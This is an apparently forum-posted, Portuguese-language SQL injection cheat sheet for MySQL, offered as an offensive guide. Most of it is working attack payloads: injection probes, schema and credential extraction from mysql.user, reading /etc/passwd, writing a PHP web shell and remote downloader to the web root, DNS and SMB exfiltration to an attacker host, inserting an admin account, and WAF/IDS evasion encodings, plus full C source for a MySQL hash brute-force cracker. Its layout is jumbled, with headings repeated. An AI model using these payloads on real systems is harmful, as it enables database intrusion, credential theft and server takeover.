Salve Salve galera venho aki trazendo para vocês um Hiper Post sobre Injection SQL ele sera dividido em 3 Partes
1- MySQL
2-MSSQL
3-Oracle
MySQL
Default Databases
Teste de Injeção
Comente a Consulta
Testando Versão
As credenciais de banco de dados
Nomes de banco de dados
Nome do Servidor
Servidor MAC Address
Tabelas e Colunas
Determinar o número de colunas
Recuperando Tabelas
Recuperando Colunas
Recuperando várias tabelas / colunas de uma só vez
Encontre Tabelas a partir do Nome da Coluna
Encontre Colunas a partir do Nome da Tabela
Descubra consulta atual
Evitar o uso de citações
concatenação de string
notas:
Declarações condicionais
Exemplo:
cronometragem
Privilégios
Privilégios em Arquivos
As consultas a seguir podem ajudar a determinar os privilégios de arquivo para um determinado uso
lendo Arquivos
Os arquivos podem ser lidos se o usuário tem privilégios de arquivo.
Notas:
Escrevendo Arquivos
Os arquivos podem ser criados se o usuário tem privilégios de arquivo.
Exemplos:
notas:
Out Of Band Channeling
DNS Requests
SMB Requests
consultas Stacked
Stacked são possíveis com o MySQL, dependendo de qual Consultas driver está sendo usado pelo aplicativo PHP para se comunicar com o banco de dados.
O driver PDO_MYSQL suporta consultas Stacked. O driver MySQLi (Improved Extension) também suporta consultas Stacked através da função multi_query ().
Exemplos:
MySQL-specific code
MySQL permite que você especifique o número de versão depois do ponto de exclamação. A sintaxe dentro do comentário só é executada se a versão é maior ou igual ao número da versão especificada.
Exemplo:
notas:
Fuzzing e Obfuscation
Personagens intermediários admitidos
Os caracteres a seguir podem ser usados como espaços em branco.
Exemplo:
Parênteses também pode ser utilizado para evitar o uso de espaços.
28 (
29 )
Exemplo:
Personagens intermediários admitidos depois AND / OR
Exemplo:
Nota:
Obfuscating with Comments
Os comentários podem ser usados para quebrar a consulta para enganar o WAF / IDS e evitar a detecção. Usando # ou - seguido por uma nova linha, podemos dividir a consulta em linhas separadas.
Exemplo:
URL codificada a injeção seria parecido com:
Algumas funções também pode ser ofuscado com comentários e espaços em branco.
Encodings
Codificando a injeção, por vezes, pode ser útil para evadir WAF / IDS.
Avoiding Keywords
Se um IDS / WAF bloqueou certas palavras-chave, existem outras maneiras de contornar isso sem o uso de codificações.
information_schema.tables
Nota:
operadores
Constants
Password Hashing
Antes do MySQL 4.1, password hashes calculados pela função PASSWORD () tem 16 bytes de comprimento. Esses hashes parecido com este:
A partir do MySQL 4.1, a função PASSWORD () foi modificada para produzir um valor de mais de 41 bytes de hash:
Password Cracking
Cain & Abel e John the Ripper é tanto capaz de quebrar senhas do MySQL 3.x-6.x.
Um módulo Metasploit para JTR pode ser encontrada Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
MySQL < 4.1 Password Cracker
Esta ferramenta é a alta velocidade cracker de senhas força bruta para MySQL hash de senhas. Ele pode quebrar uma senha de 8 caracteres, contendo todos os caracteres ASCII em uma questão de horas em um PC comum.
1- MySQL
2-MSSQL
3-Oracle
MySQL
Default Databases
Código:
mysql Requer privilégios de root information_schema Disponível a partir da versão 5 e superior
Código:
False significa que a consulta é inválida (erros MySQL / conteúdo faltando no site) True significa que a consulta é válido (o conteúdo é exibido como de costume) Strings: Dada a consulta:Possíveis Resultados:Código:SELECT * FROM Table WHERE id = '1';Exemplos:Código:' False (1 Aspa simples) '' True (2 aspas simples) " False (1 aspas dupla) "" True (2 aspas dupla) \ False \\ TrueNumeros: Dada a consulta:Código:SELECT * FROM Articles WHERE id = '1'''; SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';
Possíveis Resultados:Código:SELECT * FROM Table WHERE id = 1;Exemplo:Código:AND 1 True AND 0 False AND true True AND false False 1-false Retorna 1 se vulnerável 1-true Retorna 0 se vulnerável 1*56 Retorna 56 se vulnerável 1*56 Retorna 1 se não for vulnerávelEm Telas de Login: Dada a consulta:Código:SELECT * FROM Users WHERE id = 3-2;
Possíveis Uso:Código:SELECT * FROM Table WHERE username = '';Exemplo:Código:' OR '1 ' OR 1 -- - " OR "" = " " OR 1 = 1 -- - '=' 'LIKE' '=0--+Código:SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
Código:
O seguinte pode ser usado para comentar o resto da consulta após a injecção:Exemplo:Código:# Hash comentário /* Comentário estilo C -- - SQL comentário ;%00 Nullbyte ` CraseNota:Código:SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = ''; SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';Código:A crase só pode ser usado para terminar uma consulta quando usado como um alias.
Código:
Variáveis Variáveis:Exemplo:Código:VERSION() @@VERSION @@GLOBAL.VERSIONNota:Código:SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
código específico código específico:Código:Saída conterá -nt -log no caso do DBMS é executado em uma máquina baseada no Windows.dada a consulta:Código:/*!VERSION Specific Code*/Possíveis retorno:Código:SELECT * FROM Users limit 1,{INJECTION POINT};Código:1 /*!50094eaea*/; False - versão é igual ou maior do que 5.00.94 1 /*!50096eaea*/; True - versão é menor do que 5.00.96 1 /*!50095eaea*/; False - versão é igual to 5.00.95
Código:
Exemplos:Código:Table mysql.user Columns user, password Current User user(), current_user(), current_user, system_user(), session_user()Código:SELECT current_user; SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
Código:
Exemplo:Código:Tables information_schema.schemata, mysql.db Columns schema_name, db Current DB database(), schema()Código:SELECT database(); SELECT schema_name FROM information_schema.schemata; SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
Código:
Exemplo:Código:@@HOSTNAMECódigo:SELECT @@hostname;
Código:
O identificador único universal é um número de 128 bits, onde os últimos 12 dígitos são formados a partir do endereço MAC das interfaces.Saida:Código:UUID()Nota:Código:aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;
Código:Pode retornar uma seqüência aleatória de 48 bits em vez do endereço MAC em alguns sistemas operacionais.
Tabelas e Colunas
Determinar o número de colunas
Código:
ORDER/GROUP BYNota:Código:GROUP/ORDER BY n+1;Exemplo:Código:Mantenha incrementando o número até obter uma resposta falsa. Embora GROUP BY e ORDER BY têm funcionality diferente em SQL, ambos podem ser usados da mesma forma exacta para determinar o número de colunas da consulta.Possíveis retorno:Código:SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';ERROR BASEDCódigo:1' ORDER BY 1--+ True 1' ORDER BY 2--+ True 1' ORDER BY 3--+ True 1' ORDER BY 4--+ False - Consulta está usando apenas 3 colunas -1' UNION SELECT 1,2,3--+ TrueNota:Código:GROUP/ORDER BY 1,2,3,4,5...Dada a Consulta:Código:Semelhante ao método anterior, podemos verificar o número de colunas com um pedido se mostrando erro é ativado.Possíveis retorno:Código:SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}'ERROR BASED 2Código:1' GROUP BY 1,2,3,4,5--+ Unknown column '4' in 'group statement' 1' ORDER BY 1,2,3,4,5--+ Unknown column '4' in 'order clause'notas:Código:SELECT ... INTO var_list, var_list1, var_list2...Exemplo 1:Código:Este método funciona se mostrando erro é ativado. É útil para encontrar o número de colunas quando o ponto de injeção é depois de uma cláusula LIMIT.Código:SELECT permission FROM Users WHERE id = {INJECTION POINT};Exemplo 2:Código:-1 UNION SELECT 1 INTO @,@,@ Os comandos SELECT usados têm um número diferente de colunas -1 UNION SELECT 1 INTO @,@ Os comandos SELECT usados têm um número diferente de colunas -1 UNION SELECT 1 INTO @ Nenhum erro significa consulta usa uma colunaCódigo:SELECT username, permission FROM Users limit 1,{INJECTION POINT};ERROR BASED 3Código:1 INTO @,@,@ Os comandos SELECT usados têm um número diferente de colunas 1 INTO @,@ Nenhum erro significa consulta usa duas colunasnotas:Código:AND (SELECT * FROM SOME_EXISTING_TABLE) = 1Exemplo:Código:Isso funciona se você souber o nome da tabela que você está depois e exibição de erro é ativado. Ele irá retornar a quantidade de colunas na tabela, não a consulta.1 AND (SELECT * FROM Users) = 1 Operando deve conter 3 coluna (s)Código:SELECT permission FROM Users WHERE id = {INJECTION POINT};
Código:
UnionBlindCódigo:UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;ErrorCódigo:AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'Nota:Código:AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- Available in 5.1.5Código:version=10 for MySQL 5
Código:
UnionBlindCódigo:UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'ErrorCódigo:AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'PROCEDURE ANALYSE() Exemplo:Código:AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1 AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b) a) AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN SOME_EXISTING_TABLE b USING (SOME_EXISTING_COLUMN)) a)Código:SELECT username, permission FROM Users WHERE id = 1;Código:1 PROCEDURE ANALYSE() Obter o nome da primeira coluna 1 LIMIT 1,1 PROCEDURE ANALYSE() Obter nome da segunda coluna 1 LIMIT 2,1 PROCEDURE ANALYSE() Obter nome da terceira coluna
Código:
Dada Consulta:Exemplo: SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+'; Saída:Código:SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))xDada Consulta:Código:[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME [ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME [ information_schema ] >CHARACTER_SETS > DESCRIPTION [ information_schema ] >CHARACTER_SETS > MAXLEN [ information_schema ] >COLLATIONS > COLLATION_NAME [ information_schema ] >COLLATIONS > CHARACTER_SET_NAME [ information_schema ] >COLLATIONS > ID [ information_schema ] >COLLATIONS > IS_DEFAULT [ information_schema ] >COLLATIONS > IS_COMPILEDExemplo:Código:SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columnsSaida:Código:SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns--+';
Código:Table: talk_revisions Column: revid Table: talk_revisions Column: userid Table: talk_revisions Column: user Table: talk_projects Column: priority
Código:
SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; Encontra os nomes de tabela para todas as colunas nomeadas username. SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; Encontra os nomes de tabela para todas as colunas que contêm a palavra usuário.
Código:
SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; Encontra as colunas da tabela de usuários. SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; Encontra os nomes das colunas de todas as tabelas que contêm a palavra usuário.
Código:
SELECT info FROM information_schema.processlist Disponível a partir do MySQL 5.1.7.
Código:
SELECT * FROM Users WHERE username = 0x61646D696E Hex encoding. SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) Função CHAR().
Código:
SELECT 'a' 'd' 'mi' 'n'; SELECT CONCAT('a', 'd', 'm', 'i', 'n'); SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
Código:
CONCAT () irá retornar NULL se qualquer dos seus arguements é NULL. Em vez disso use CONCAT_WS (). O primeiro argumento de CONCAT_WS () define o separador para o resto de seus argumentos.
Código:
CASE IF() IFNULL() NULLIF()
Código:
SELECT IF(1=1, true, false); SELECT CASE WHEN 1=1 THEN true ELSE false END;
Código:
SLEEP() MySQL 5 BENCHMARK() MySQL 4/5
Código:
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
Privilégios em Arquivos
As consultas a seguir podem ajudar a determinar os privilégios de arquivo para um determinado uso
Código:
SELECT file_priv FROM mysql.user WHERE user = 'username'; Privilégios de root necessário MySQL 4/5 SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; Não há privilégios necessários MySQL 5
Os arquivos podem ser lidos se o usuário tem privilégios de arquivo.
Código:
LOAD_FILE()
Código:
SELECT LOAD_FILE('/etc/passwd'); SELECT LOAD_FILE(0x2F6574632F706173737764);
Código:
O arquivo deve estar localizado na máquina servidora. O BaseDirectory para LOAD_FILE () é @ @ datadir. O arquivo deve ser legível pelo usuário MySQL. O tamanho do arquivo deve ser inferior a max_allowed_packet. O tamanho padrão para @ @ max_allowed_packet é 1047552 bytes.
Os arquivos podem ser criados se o usuário tem privilégios de arquivo.
Código:
INTO OUTFILE/DUMPFILE
Código:
Para escrever um shell PHP: SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; e depois acessá-lo em: http://localhost/shell.php?c=cat%20/etc/passwd
Código:
Para escrever um downloader: SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php' e depois acessá-lo em: http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
Código:
Os arquivos não podem ser substituídos com INTO OUTFILE. INTO OUTFILE deve ser a última declaração na consulta. Não há nenhuma maneira de codificar o caminho, por isso aspas são necessárias.
DNS Requests
Código:
SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));
Código:
' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt
Stacked são possíveis com o MySQL, dependendo de qual Consultas driver está sendo usado pelo aplicativo PHP para se comunicar com o banco de dados.
O driver PDO_MYSQL suporta consultas Stacked. O driver MySQLi (Improved Extension) também suporta consultas Stacked através da função multi_query ().
Exemplos:
Código:
SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password, priv) VALUES ('BobbyTables', 'kl20da$$','admin'); SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;
MySQL permite que você especifique o número de versão depois do ponto de exclamação. A sintaxe dentro do comentário só é executada se a versão é maior ou igual ao número da versão especificada.
Exemplo:
Código:
UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+ SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
Código:
O primeiro exemplo retorna a versão, que usa uma união com duas colunas. O segundo exemplo demonstra como isso pode ser útil para contornar a WAF / IDS.
Personagens intermediários admitidos
Os caracteres a seguir podem ser usados como espaços em branco.
Código:
09 Horizontal Tab 0A New Line 0B Vertical Tab 0C New Page 0D Carriage Return A0 Non-breaking Space 20 Space
Código:
'%0A%09UNION%0CSELECT%A0NULL%20%23
28 (
29 )
Exemplo:
Código:
UNION(SELECT(column)FROM(table))
Código:
20 Space 2B + 2D - 7E ~ 21 ! 40 @
Código:
SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
Código:
dual é uma dummy table, que pode ser usado para o teste.
Os comentários podem ser usados para quebrar a consulta para enganar o WAF / IDS e evitar a detecção. Usando # ou - seguido por uma nova linha, podemos dividir a consulta em linhas separadas.
Exemplo:
Código:
1'# AND 0-- UNION# I am a comment! SELECT@tmp:=table_name x FROM-- `information_schema`.tables LIMIT 1#
Código:
1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23
Código:
VERSION/**/%A0 (/*comment*/)
Codificando a injeção, por vezes, pode ser útil para evadir WAF / IDS.
Código:
URL Encoding SELECT %74able_%6eame FROM information_schema.tables; Double URL Encoding SELECT %2574able_%256eame FROM information_schema.tables; Unicode Encoding SELECT %u0074able_%u6eame FROM information_schema.tables; Invalid Hex Encoding (ASP) SELECT %tab%le_%na%me FROM information_schema.tables;
Se um IDS / WAF bloqueou certas palavras-chave, existem outras maneiras de contornar isso sem o uso de codificações.
information_schema.tables
Código:
Spaces information_schema . tables Backticks `information_schema`.`tables` Specific Code /*!information_schema.tables*/ Alternative Names information_schema.partitions information_schema.statistics information_schema.key_column_usage information_schema.table_constraints
Código:
Os nomes alternativos pode depender de uma chave primária estar presente na tabela.
Código:
AND , && lógico AND = Atribuir um valor (como parte de uma instrução SET, ou como parte da cláusula SET de uma instrução UPDATE) := Atribuir um valor BETWEEN ... AND ... Verifique se o valor está dentro de uma faixa de valores BINARY Lançar um string para uma string binária & Bitwise AND ~ Invert bits | Bitwise OR ^ Bitwise XOR CASE Case operator DIV Integer division / Division operator <=> NULL-safe equal to operator = Equal operator >= Greater than or equal operator > Greater than operator IS NOT NULL NOT NULL value test IS NOT Test a value against a boolean IS NULL NULL value test IS Test a value against a boolean << Left shift <= Less than or equal operator < Less than operator LIKE Simple pattern matching - Minus operator % or MOD Modulo operator NOT BETWEEN ... AND ... Verifique se o valor não está dentro de um intervalo de valores != , <> Not equal operator NOT LIKE Negation of simple pattern matching NOT REGEXP Negation of REGEXP NOT , ! Negates value || , OR Logical OR + Addition operator REGEXP Pattern matching using regular expressions >> Right shift RLIKE Synonym for REGEXP SOUNDS LIKE Compare sounds * Multiplication operator - Change the sign of the argument XOR Logical XOR
Código:
current_user null, \N true, false
Antes do MySQL 4.1, password hashes calculados pela função PASSWORD () tem 16 bytes de comprimento. Esses hashes parecido com este:
Código:
PASSWORD('mypass') 6f8c114b58f2ce9e
Código:
PASSWORD('mypass') *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4
Cain & Abel e John the Ripper é tanto capaz de quebrar senhas do MySQL 3.x-6.x.
Um módulo Metasploit para JTR pode ser encontrada Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
MySQL < 4.1 Password Cracker
Esta ferramenta é a alta velocidade cracker de senhas força bruta para MySQL hash de senhas. Ele pode quebrar uma senha de 8 caracteres, contendo todos os caracteres ASCII em uma questão de horas em um PC comum.
Código:
/* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast * $ MySQLfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('\n'); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; }
Comment